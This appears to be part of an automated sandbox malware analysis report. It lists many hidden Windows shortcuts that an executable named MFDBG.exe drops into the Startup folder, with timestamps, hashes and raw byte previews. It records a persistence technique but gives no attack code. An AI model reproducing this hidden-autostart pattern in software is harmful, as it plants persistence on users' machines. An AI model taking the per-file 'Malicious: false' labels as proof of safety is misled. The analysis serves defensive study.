Preview:	L..................F...."...]W%.{....s..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0258b253d7c541da8bae1503166e2e45.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941182727810649
Encrypted:	false
SSDEEP:	24:8JhBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8J3C0R6rMhpBoUBxdRd1nYyg
MD5:	2ED81417C2CE3157981366C929D8A6B0
SHA1:	AF78D655F20B4E87E062073C040ECB7192413384
SHA-256:	D932EC3ED2A7DEE776ECF920DFB03212F5F8AA0FE22D94396B12EDBC75D16F26
SHA-512:	F4DF4CDEE51976EFB43AACF230FF5BE0048D2745F011DAEE73E5BB97A5E0E80FF690EDD4D7169EFBCFE3BBBF5DC262A5A42A985408888C1142EF18D565BC6B80
Malicious:	false
Preview:	L..................F...."...]W%.{...I,..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_02723c81f1c243209df4e0d6393bf5a0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932787545962199
Encrypted:	false
SSDEEP:	24:8shBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8eh0R6rMhpBoUBxdRd1nYyg
MD5:	D13C68EC2C82BEA8B5E6B467769E5BAD
SHA1:	F06682020FBD913133490B5B652C22754A697DF7
SHA-256:	62B8B57C75DE7DBC2A1B1EAA0F74C20664065F0800C5899423EAD68DA0D9AE4E
SHA-512:	46ECEBCF460606CBE67ACC150EF5B77CFDBEC7BE4B6208FC8340F9CEB7DC034267E85A8A9E37BA45F3980A01DA9C7E4CD55C8FA65E732C4C68DFD13354C10C21
Malicious:	false
Preview:	L..................F...."...]W%.{...^...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...^...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0289dc24d2d040d08b7fcd1044eec573.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.945372056006388
Encrypted:	false
SSDEEP:	24:8phBfu8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8pr0R6rMhpBoUBxdRd1nYyg
MD5:	C67986451DAA6733065D4F8570C5C482
SHA1:	2351EBB652360820DAAB52A1FE7A09D5927A1887
SHA-256:	B798F2347A5ADE5DDDD183423436583930A4566DC039487D9C880639B0844E6D
SHA-512:	1BAAA9F3D38F6E4E2A6E6CA1F904087F8C786F0F5E5534660D03BB450DB0F00FDEB43C6E182F7C03A0A127D3D079A509E29042034302C594F14A68644F80157E
Malicious:	false
Preview:	L..................F...."...]W%.{....[..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...O...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_02bdff4d6b074f2c89d6d452e778d691.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936993399614909
Encrypted:	false
SSDEEP:	24:8cYmhBfI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8fsgT0R6rMhpBoUBxdRd1nYyg
MD5:	9DF0E7D6E2AF91829B6F01D4C0952DA9
SHA1:	6DED6FAFE43E0DB40EC9F2A9D4E987CA220EE3FD
SHA-256:	8CFD569587E0B75C0DC167B790F7E208D45F97AA9F4A16F6B000FB568BDE480F
SHA-512:	14A3A5F34F40B0BE1B092E220F200D07DF927D9FB3DE9297BF746560EDF3FC0890478E9620846BE40FC42344047990812AC4240725E59FEB5EA82F672AD7D42A
Malicious:	false
Preview:	L..................F...."...]W%.{...kC..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_02ce2367671a4a2687f7bc2928e88f11.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9374025568366795
Encrypted:	false
SSDEEP:	24:8UhBff8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Wc0R6rMhpBoUBxdRd1nYyg
MD5:	C34A3295619F7673F7DB4F240BE4B222
SHA1:	0F05E18CBFC2A6A188B0E094EB25EAEE69A24E74
SHA-256:	2E1748761C7B00588ACF72870895DEA633D3A52225E869D0F7663D51D132AB9E
SHA-512:	8934515B13CA77CE50A0AE4A47F51E4B90C2B74B6D375A16C9953AAA5C78549DA9FE9372B6AB68EAEA232FDA7B4CAD01D5BFE1BAF27B54C8DA866C45F23BD4E2
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...x_..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_032ed0f6cb1e4e4cb67e7bae806b8ef2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94203230708921
Encrypted:	false
SSDEEP:	24:8k8hBfE8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:89J0R6rMhpBoUBxdRd1nYyg
MD5:	6CFBEE19DFCAAC3588DB1860811955FC
SHA1:	AB780F72E0ACDB6813D97D6644B899A2CA9BD93D
SHA-256:	FCA1C280091D31762FCA77B2217735787337D202EABA1355672ABAE136587429
SHA-512:	25D0D3F386C589503C21EB77D1F966628031FE6B756B731DD4040E3CD8B1E316A66C2A9EB467B1E1D1D487136C728627BDE15261DF50880B8AAE4C0CE875841F
Malicious:	false
Preview:	L..................F...."...]W%.{...~9..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...$...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_033ce1f39e32412ca8fa6c613f447c50.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933605714961537
Encrypted:	false
SSDEEP:	24:8ohBfeh8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8q/0R6rMhpBoUBxdRd1nYyg
MD5:	A8C970245B1F65AA4B2222FCD5408FCB
SHA1:	06F5666F14D8495512001C5D26297D3820F3E869
SHA-256:	A0562CF1881A6039216BE359B41E144EBE52C9478E7C1A078996B1A8C80426E8
SHA-512:	0BDB53937957745CDD9A438663D0B13FDEC3647EF959CBDAD6F26E5ED1E5E04C28E9D18CC4EF5FF461B05A28E345520DB0E14D64A020E38BA660D2A3ACB49274
Malicious:	false
Preview:	L..................F...."...]W%.{...D...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....7..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0403cc2df8f344279b5b0c3e29d19c52.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943953870566354
Encrypted:	false
SSDEEP:	24:8ThBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ny0R6rMhpBoUBxdRd1nYyg
MD5:	BDCCEF9A3F5BE8887EACE0931EE00BE1
SHA1:	25778923E0A1AAB4329EC9053F1178E42AA4054B
SHA-256:	06E4E565A5A343417D4193F905C0B0424DC70DC51CAC628474D9C1664E980790
SHA-512:	6A6A9B3663FA20613430B7D12CD9C5B9A4B89A4921310F3B2E634DCABE5530A7FFF924F5F85FE3ED146234194293FDEBE5101767663F2DF331DF2249AB08DD4D
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_047629bfa7f6485b933aecdcfebc49d0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941671852534826
Encrypted:	false
SSDEEP:	24:86/2hBffD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8B3Q0R6rMhpBoUBxdRd1nYyg
MD5:	FD622DE54CCA17FC7757C8BEAC42B49F
SHA1:	A65256C3BC68750A1771C72F9FD7D5D80F6BB9AE
SHA-256:	BFBD4474C598DC1D2F781BD16484138900C9FA55D868B6C5480F455D6F1F95FA
SHA-512:	7892474FEE87A774E8183F930FB999A772D5EB92F656C5BE9D756F6BCAB97C5E4375A4E3766158D71F37203E560CEE6D9B72DCD392BBB2DCE7042F3A772ADFF4
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...\|...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_047c503277694b38add257c4d2e38e34.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.946037155127236
Encrypted:	false
SSDEEP:	24:80hBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82D0R6rMhpBoUBxdRd1nYyg
MD5:	945190E440A941BFC13819206E38FCDD
SHA1:	64FEC977778AA257720787012464EECDC53C94DE
SHA-256:	9C775DA58BC009080F8C3A1B16786400EB160266DD232A5A32DE578CD57BE227
SHA-512:	C2A54361B6C4C2F5F8B2702D603E52B46DD79B7778EE2A3D94AC0208C3BF5ABC35D07C4302785127C1CE3816C649099710FEDD773C7B729D6CEADB260C399414
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_04a14468ba3a4acea965f5d89a00d11b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935943739092594
Encrypted:	false
SSDEEP:	24:8hhBfUxp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Rl0R6rMhpBoUBxdRd1nYyg
MD5:	68DD5E11301B84DF5814475627121132
SHA1:	8D2B01D2E46AAFFC69517B2BADFA80F475CE47EE
SHA-256:	460DBBBAF09AB626A5156B164951E46BE375A85155FD90A12D64BE9D191F13F0
SHA-512:	8EE08F708014BA061298E67713FC3972BE82F144523F73CFEE352F26D086238904F88E55DF995ECD5BCD700C123F3BEAA02BDC5057F6672F0C963F46E755BF5C
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h@..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_050e5d72c750410185292bdf75396761.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938002427833171
Encrypted:	false
SSDEEP:	24:84hBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ar0R6rMhpBoUBxdRd1nYyg
MD5:	4A4D1177EB52AFFEC1D671728F9923B3
SHA1:	45A8889B7E2F104543F2F4342EA07060EA496C6A
SHA-256:	6924B65FEEDB3ED1DF618D1CF31F63204F3F51FAD9BF89EBC3D16EF740D5AEE5
SHA-512:	4FD87BD920D46A68FB49B8299CFE5DE024056D3959A5580CC6F828CF4FD500E8DB121B9F659E88CBE97F0395DF9503264E6917AF10C73EF7A37ACB7B7932AD03
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0511ca835d294c6f9a0b866e244463b3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936993399614912
Encrypted:	false
SSDEEP:	24:8RhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8hR0R6rMhpBoUBxdRd1nYyg
MD5:	DA1A792B2D541288CC7C8D99D5774C96
SHA1:	7C1ED7A8C0DACD171465349D4F32E174B5891C7E
SHA-256:	981B86E839438CFC4BAFB664C9E2AEE095661D1BDD9AABD2C30ED372C3ADE85A
SHA-512:	D9D749FA4F388D8DE6CB1C6816FB1FD5D944679D93BD997BC37B97BF4BE80588B2BA8D6419FFC0891816B46974BF96A420BD163CDABE845F68D2A4EDE803D12D
Malicious:	false
